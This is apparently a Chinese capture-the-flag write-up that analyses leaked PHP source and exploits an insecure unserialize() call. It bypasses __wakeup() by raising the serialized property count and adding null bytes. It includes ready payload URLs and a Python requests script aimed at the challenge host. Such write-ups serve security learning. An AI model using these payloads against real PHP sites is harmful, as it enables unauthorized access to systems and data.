考点:
- __wakeup()函数漏洞利用
- 序列化与反序列化操作
- 网站目录扫描(常用 jio本)
打开解题网址:
提示备份,使用脚本扫描分析,得到一个 www.zip,下载;
zip包中最主要的两个文件 :index.php , class.php;
index.php 主要代码段分析:
<?php
include 'class.php'; # 将class.php文件包含
$select = $_GET['select']; # 获取 get 传参 select
$res=unserialize(@$select); # 对 select 进行反序列化,@压制提示警告;
?>
class.php 主要代码段分析:
<?php
include 'flag.php';
error_reporting(0);
# 定义一个 名为 Name 类
class Name{
private $username = 'nonono'; #私有属性 username
private $password = 'yesyes'; #私有属性 password
public function __construct($username,$password){
$this->username = $username; # 对 username password 赋值
$this->password = $password;
}
#__wakeup() 函数,unserialize()反序列化函数前调用;
function __wakeup(){
$this->username = 'guest'; #将 username 赋值 guest;
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
# 两个判断:
#第一个if,password!=100,直接退出
#第二个if,password=100,username做全等运算,不等,退出;全等 输出 flag;
#也就是说,输出flag,需要满足 username=admin password=100
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
代码分析已注释在代码段中,可以看见 index.php中 的 unserialize()和__wakeup() 函数,以及 get方式传参select ,参数可控,可以利用 __wakeup()函数漏洞来解题:
首先,直接利用 class.php 源码,输出 Name(‘admin’,100) 对象的序列化结果:
$s = new Name('admin',100);
echo serialize($s);
输出为:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
Name:2 ,表示Name 类有两个属性,将 2改成 3或者>2的数,当表示对象属性个数的值 大于 真实属性个数的值 时,__wakeup()函数不被执行,这样就可以绕过__wakeup(),从而使 username === admin;
至此,需要注意: username 和 password 两个属性是私有属性(private),因此这两个属性在序列化后,输出的其实是 \0类名\0属性名 (\0 是 ascii 码值,空字符),但是在页面输出时无显示,复制的时候也会被删除,因此反序列化时需要手动添加 \0;
构造payload,两种方法:
第一种,直接在地址栏提交url , %00 被url 解码为 不可见的空字符,:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
第二种,使用python 提交数据(因为如果使用地址栏提交 ,会使\0变成 \0字符,而不会被解析成 ascii 为 0 的空字符):
?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
import requests
url = "http://b3d58d19-b7e6-474c-86ba-18e202eda5fb.node3.buuoj.cn/"
payload = '?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'
respone = requests.get(str(url) + str(payload))
print(respone.text)
具体__wakeup()函数漏洞利用请参阅:
大佬的文章